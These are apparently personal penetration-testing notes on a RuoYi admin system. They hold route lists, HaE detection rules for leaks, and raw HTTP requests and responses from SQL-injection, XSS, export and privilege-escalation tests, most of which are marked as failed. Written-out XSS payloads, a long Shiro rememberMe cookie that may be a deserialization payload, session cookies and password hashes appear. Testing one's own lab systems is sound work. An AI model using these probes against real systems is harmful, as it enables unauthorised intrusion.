00x0 接口

/404.html
/demo/form/autocomplete
/demo/form/basic
/demo/form/button
/demo/form/cards
/demo/form/datetime
/demo/form/duallistbox
/demo/form/grid
/demo/form/jasny
/demo/form/select
/demo/form/sortable
/demo/form/summernote
/demo/form/tabs_panels
/demo/form/timeline
/demo/form/upload
/demo/form/validate
/demo/form/wizard
/demo/icon/fontawesome
/demo/icon/glyphicons
/demo/modal/dialog
/demo/modal/layer
/demo/modal/table
/demo/operate/other
/demo/operate/table
/demo/report/echarts
/demo/report/metrics
/demo/report/peity
/demo/report/sparkline
/demo/table/button
/demo/table/child
/demo/table/curd
/demo/table/detail
/demo/table/editable
/demo/table/event
/demo/table/export
/demo/table/fixedColumns
/demo/table/footer
/demo/table/groupHeader
/demo/table/image
/demo/table/multi
/demo/table/other
/demo/table/pageGo
/demo/table/params
/demo/table/remember
/demo/table/reorder
/demo/table/search
/index
/monitor/data
/monitor/job
/monitor/logininfor
/monitor/online
/monitor/operlog
/monitor/server
/system/config
/system/dept
/system/dict
/system/main
/system/menu
/system/notice
/system/post
/system/role
/system/user
/system/user/profile
/tool/build
/tool/gen
/tool/swagger

00x1 HaE插件

规则

Fingerprint 组件类型

橙色的是nday中，红色信息泄露重，绿色就是接口低，黄色可能可以忽略

shiro 红色

json 令牌信息 绿色

swagger 接口信息泄露 红色

ueditor 百度编辑器 nday 橙色

Druid 信息泄露，自带web监控页面 红色

PDF.js 组件 nday 橙色

vite  开发模式会信息泄露，源码结构接口调试 红色

Maybe Vulnerability top10 潜在漏洞

Java Deserialization  Java 反序列化流量的特征（如 ac ed 00 05 开头的二进制数据，或 rO0AB 等 Base64 编码）。红

Debug Logic Parameters 可能开启调试模式的参数，如 ?debug=true、?test=1、?showTrace=1。 若参数生效，可能泄露堆栈信息、SQL 语句、配置详情，属于信息泄露或逻辑绕过。红

URL As A Value 参数值中包含 http:// 或 https:// 的情况。 SSRF（服务端请求伪造）的前置特征。若应用将用户提供的 URL 作为请求目标，可能存在 SSRF 漏洞。绿色

Upload Form 请求类型为 multipart/form-data 的文件上传表单。 文件上传漏洞的入口。找到上传接口后，需进一步审计是否限制后缀、是否检查内容、是否可跨目录。 ✅ 若依多处存在上传。如用户头像、富文本编辑器图片、代码生成器上传模板。红

DoS Parameters 可能导致拒绝服务的参数，如 size=999999、limit=999999、pageSize=999999。 若应用未限制参数最大值，可能导致数据库慢查询、内存溢出. 橙色

Passwd File 响应中包含 /etc/passwd 文件内容的特征（如 root:x:0:0:）。 任意文件读取漏洞的直接证据。若匹配到，说明存在文件读取，且已读取到系统敏感文件。红

Win.ini File 响应中包含 [fonts]、[extensions] 等 Windows 配置文件内容。 同上，任意文件读取漏洞的直接证据（Windows 环境）。 信息泄露。红

Basic Information 信息泄露

Email 邮箱地址 橙色

Chinese IDCard 中国大陆身份证号码（18位或15位） 红

Chinese Mobile Number 中国大陆手机号码  橙色

Internal IP Address 内网 IP 地址 橙色

MAC Address MAC 地址（物理地址） 绿色

Sensitive Information 密钥，密码

Cloud Key 云服务商（如阿里云、腾讯云）的 AccessKey ID / Secret。红色

Windows File/Dir Path Windows 系统的文件/目录路径，如 C:\Users\Admin\Desktop。 若响应中出现绝对路径，说明可能存在路径穿越或信息泄露（暴露了部署环境）红色

Password Field 请求或响应中包含 password、passwd、pwd 等参数名。 标记所有涉及密码的字段，便于审计是否明文传输、是否弱口令。 黄色

Username Field 请求或响应中包含 username、user、account 等参数名。 标记用户名字段，配合密码字段快速定位登录入口及用户枚举风险。黄色

WeCom Key 企业微信的 corpid、corpsecret 等密钥。 泄露可导致企业微信机器人被冒用，发送钓鱼消息、获取通讯录。 红色

JDBC Connection JDBC 数据库连接字符串，如 jdbc:mysql://...。 高危。泄露包含数据库地址、端口、库名，甚至用户名密码（若拼接在 URL 中）。 红色

Authorization Header HTTP 请求头中的 Authorization 字段，如 Basic、Bearer Token。 标记认证凭据，用于测试横向越权（用 A 的 Token 访问 B 的数据）。

Sensitive Field 通用敏感字段名，如 secret、token、apikey。 兜底规则，捕获各类自定义的敏感参数，防止遗漏。 黄色

Mobile Number Field 参数名包含 mobile、phone、tel 的字段。 标记手机号字段，结合前面的 Chinese Mobile Number 规则，发现手机号明文泄露。 黄色

Userinfo In Link URL 中包含类似 user=xxx&pass=xxx 的凭据信息。 高危。GET 请求中传递账号密码，会被记录在服务器日志、浏览器历史、Referer 中。红色

Other 前端js

Linkfinder 从 JS 文件中提取所有看起来像 URL 路径的字符串（如 /api/user/list）。 接口发现的核心规则。帮您自动生成若依的后台路由字典，用于未授权访问测试。 绿色

Source Map 匹配 .js.map 文件请求。 Source Map 是前端源码映射文件，泄露即意味着前端源代码完全公开，可从中挖掘更多接口、逻辑漏洞。红色

Create Script 匹配动态创建 <script> 标签加载 JS 的代码模式。 可用于发现前端动态加载的额外脚本，这些脚本可能包含未在主页引用的功能接口。绿色


URL Schemes 提取 URL 协议头，如 http://、https://、ws://。 辅助提取所有绝对 URL，便于发现是否引用了外部资源或存在 SSRF 入口。绿色


Router Push 匹配 Vue/React 路由跳转代码 $router.push。 若依前端使用 Vue，此规则可帮您提取前端定义的所有页面路由名称，映射后端菜单权限。橙色


All URL 提取所有完整的 URL（包含协议、域名、路径）。 全面的 URL 收集器，用于资产梳理。
Request URI 提取相对路径请求（如 /system/user/list）。 直接给出后端接口路径，配合若依的 Controller 路由规则快速定位代码。橙色


302 Location 提取 302 重定向响应头中的 Location 字段。 发现登录后重定向的目标页面，或 OAuth 回调地址，可能泄露内部域名。红色


OSKeys 匹配 XML 格式的 <Key>xxx</Key> 标签内容。 针对对象存储（如阿里 OSS）响应格式，提取文件 Key，可能用于遍历存储桶。红色

00x2 灯塔（静态）

00x3 漏洞扫描工具(最后用）

00x4 黑盒测试

0x1 系统管理

0 登录

shiro反序列化

1 用户管理

页面显示
GET /system/user HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://localhost/index
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=d235644f-33a5-4f29-af3c-c973bd504637
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Priority: u=4
查询参数（sql失败,xss失败)
POST /system/user/list HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 151
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/system/user
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=d235644f-33a5-4f29-af3c-c973bd504637
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=
HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Wed, 15 Apr 2026 04:37:30 GMT
Content-Length: 1680

{"total":2,"rows":[{"searchValue":null,"createBy":"admin","createTime":"2018-03-16 11:33:00","updateBy":null,"updateTime":null,"remark":"管理员","params":{},"userId":1,"deptId":103,"parentId":null,"roleId":null,"loginName":"admin","userName":"若依","userType":"00","email":"ry@163.com","phonenumber":"15888888888","sex":"1","avatar":"","password":"29c67a30398638269fe600f73a054934","salt":"111111","status":"0","delFlag":"0","loginIp":"127.0.0.1","loginDate":"2026-04-15 12:35:15","dept":{"searchValue":null,"createBy":null,"createTime":null,"updateBy":null,"updateTime":null,"remark":null,"params":{},"deptId":103,"parentId":null,"ancestors":null,"deptName":"研发部门","orderNum":null,"leader":"若依","phone":null,"email":null,"status":null,"delFlag":null,"parentName":null},"roles":[],"roleIds":null,"postIds":null,"admin":true},{"searchValue":null,"createBy":"admin","createTime":"2018-03-16 11:33:00","updateBy":null,"updateTime":null,"remark":"测试员","params":{},"userId":2,"deptId":105,"parentId":null,"roleId":null,"loginName":"ry","userName":"若依","userType":"00","email":"ry@qq.com","phonenumber":"15666666666","sex":"1","avatar":"","password":"8e6d98b90472783cc73c17047ddccf36","salt":"222222","status":"0","delFlag":"0","loginIp":"127.0.0.1","loginDate":"2018-03-16 11:33:00","dept":{"searchValue":null,"createBy":null,"createTime":null,"updateBy":null,"updateTime":null,"remark":null,"params":{},"deptId":105,"parentId":null,"ancestors":null,"deptName":"测试部门","orderNum":null,"leader":"若依","phone":null,"email":null,"status":null,"delFlag":null,"parentName":null},"roles":[],"roleIds":null,"postIds":null,"admin":false}],"code":0,"msg":0}
前端拼接字段标识(xss失败)
GET /system/dept/treeData HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: http://localhost/system/user
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=d235644f-33a5-4f29-af3c-c973bd504637
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Wed, 15 Apr 2026 04:37:30 GMT
Content-Length: 1121

[{"id":100,"pId":0,"name":"若依科技","title":"若依科技","checked":false,"open":false,"nocheck":false},{"id":101,"pId":100,"name":"深圳总公司","title":"深圳总公司","checked":false,"open":false,"nocheck":false},{"id":102,"pId":100,"name":"长沙分公司","title":"长沙分公司","checked":false,"open":false,"nocheck":false},{"id":103,"pId":101,"name":"研发部门","title":"研发部门","checked":false,"open":false,"nocheck":false},{"id":104,"pId":101,"name":"市场部门","title":"市场部门","checked":false,"open":false,"nocheck":false},{"id":105,"pId":101,"name":"测试部门","title":"测试部门","checked":false,"open":false,"nocheck":false},{"id":106,"pId":101,"name":"财务部门","title":"财务部门","checked":false,"open":false,"nocheck":false},{"id":107,"pId":101,"name":"运维部门","title":"运维部门","checked":false,"open":false,"nocheck":false},{"id":108,"pId":102,"name":"市场部门","title":"市场部门","checked":false,"open":false,"nocheck":false},{"id":109,"pId":102,"name":"财务部门","title":"财务部门","checked":false,"open":false,"nocheck":false}]

参数查询对比（sql,xss)，添加标识xss失败

POST /system/user/list HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 174
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/system/user
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=598d8c2c-aae3-47a6-affc-83e92f0f6dee
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

deptId=&parentId=&loginName=1&phonenumber=2&status=0&params%5BbeginTime%5D=2026-04-15&params%5BendTime%5D=2026-04-15&pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc
HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Wed, 15 Apr 2026 05:31:40 GMT
Content-Length: 38

{"total":0,"rows":[],"code":0,"msg":0}

可能注入

新增(sql失败,xss失败,未授权)
POST /system/role/add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 62
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/system/role/add
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=598d8c2c-aae3-47a6-affc-83e92f0f6dee
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

roleName=11&roleKey=11&roleSort=11&status=0&remark=11&menuIds=
POST /system/user/add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 198
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/system/user/add
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=5549737a-7309-4d50-8594-5fa8f3d741b4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

deptId=109&userName=1&deptName=%E8%B4%A2%E5%8A%A1%E9%83%A8%E9%97%A8&phonenumber=13886112233&email=3540372118%40qq.com&loginName=qqq&password=123456&sex=0&role=2&remark=4&status=0&roleIds=2&postIds=1

deptId字段，不行因为数字转换

HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Thu, 16 Apr 2026 08:08:25 GMT
Content-Length: 230

{"msg":"Failed to convert property value of type 'java.lang.String' to required type 'java.lang.Long' for property 'deptId'; nested exception is java.lang.NumberFormatException: For input string: \"104ORDERBY1--BJHm\"","code":500}

userName失败

HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Thu, 16 Apr 2026 08:15:37 GMT
Content-Length: 62

{"msg":"用户昵称长度不能超过30个字符","code":500}

其他有新用户限制，不测了

xss失败

标签过滤

POST /system/user/add HTTP/1.1
Host: cctv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 223
Origin: http://cctv
Connection: keep-alive
Referer: http://cctv/system/user/add
Cookie: JSESSIONID=3772ad6d-0353-491c-bd3f-3ee64182904e; rememberMe=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
Priority: u=0

deptId=104&userName=%3Cscript%3Ealert(1)%3C%2Fscript%3E11111&deptName=<script>alert(11)</script>A8&phonenumber=</td><td onclick="alert(1)">点我弹窗</td>&email=2222@qq.com&loginName=11111&password=123456&sex=0&role=1&remark=&status=0&roleIds=1&postIds=2
导出（未授权失败，任意文件导出 失败）

猜测其逻辑再说

请求导出

POST /system/role/export HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 103
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/system/role
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=598d8c2c-aae3-47a6-affc-83e92f0f6dee
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

roleName=&roleKey=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&orderByColumn=roleSort&isAsc=asc

返回文件名

HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Wed, 15 Apr 2026 06:24:04 GMT
Content-Length: 73

{"msg":"e9a56a36-105e-44d9-ad1f-5deb7452e8d8_角色数据.xlsx","code":0}

下载

GET /common/download?fileName=e9a56a36-105e-44d9-ad1f-5deb7452e8d8_%E8%A7%92%E8%89%B2%E6%95%B0%E6%8D%AE.xlsx&delete=true HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://localhost/system/role
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=598d8c2c-aae3-47a6-affc-83e92f0f6dee
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=4
删除（sql失败，未授权）
POST /system/role/remove HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 7
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/system/role
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=598d8c2c-aae3-47a6-affc-83e92f0f6dee
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

ids=100
HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Wed, 15 Apr 2026 06:32:14 GMT
Content-Length: 31

{"msg":"操作成功","code":0}
目录（sql失败)

deptId=105 部门控制

用户状态（未授权，平行越权）

POST /system/user/changeStatus HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 17
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/system/user
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=5549737a-7309-4d50-8594-5fa8f3d741b4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
userId=2&status=1

信息泄露debug

HTTP/1.1 200 
Content-Type: application/json;charset=UTF-8
Date: Thu, 16 Apr 2026 10:56:36 GMT
Content-Length: 717

{"msg":"运行时异常:\r\n### Error updating database.  Cause: com.mysql.jdbc.MysqlDataTruncation: Data truncation: Data too long for column 'status' at row 1\r\n### The error may involve com.ruoyi.system.mapper.SysUserMapper.updateUser-Inline\r\n### The error occurred while setting parameters\r\n### SQL: update sys_user     SET status = ?,                         update_time = sysdate()     where user_id = ?\r\n### Cause: com.mysql.jdbc.MysqlDataTruncation: Data truncation: Data too long for column 'status' at row 1\n; Data truncation: Data too long for column 'status' at row 1; nested exception is com.mysql.jdbc.MysqlDataTruncation: Data truncation: Data too long for column 'status' at row 1","code":500}
编辑（未授权，平行越权存在）
GET /system/user/edit/100 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://localhost/index
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=5549737a-7309-4d50-8594-5fa8f3d741b4
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Priority: u=4

添加（sql失败)

这里，相似不重复

POST /system/dept/add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/system/dept/add/100
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=ab8324c7-44ab-4951-bacb-b819f02dca00
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

parentId=100&deptName=113&orderNum=112&leader=111&phone=13669112355&email=115%4011&status=0

2 角色管理

修改角色（sql失败)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 693
Origin: http://localhost
Connection: keep-alive
Referer: http://localhost/system/role/edit/2
Cookie: Hm_lvt_1040d081eea13b44d84a4af639640d51=1774928205,1775025367,1775195452,1775225395; sidebar:state=true; JSESSIONID=ab8324c7-44ab-4951-bacb-b819f02dca00
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

roleId=2&roleName=%E6%99%AE%E9%80%9A%E8%A7%92%E8%89%B2&roleKey=common&roleSort=2&status=0&remark=%E6%99%AE%E9%80%9A%E8%A7%92%E8%89%B2&menuIds=1%2C100%2C1000%2C1001%2C1002%2C1003%2C1004%2C1005%2C1006%2C101%2C1007%2C1008%2C1009%2C1010%2C1011%2C102%2C1012%2C1013%2C1014%2C1015%2C103%2C1016%2C1017%2C1018%2C1019%2C104%2C1020%2C1021%2C1022%2C1023%2C1024%2C105%2C1025%2C1026%2C1027%2C1028%2C1029%2C106%2C1030%2C1031%2C1032%2C1033%2C1034%2C107%2C1035%2C1036%2C1037%2C1038%2C108%2C500%2C1039%2C1040%2C1041%2C1042%2C501%2C1043%2C1044%2C1045%2C1046%2C2%2C109%2C1047%2C1048%2C1049%2C110%2C1050%2C1051%2C1052%2C1053%2C1054%2C1055%2C1056%2C111%2C112%2C3%2C113%2C114%2C1057%2C1058%2C1059%2C1060%2C1061%2C115

状态，备注，菜单权限

修改权限（sql失败，尝试逻辑）

POST /system/role/authDataScope HTTP/1.1
Host: cctv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: */*
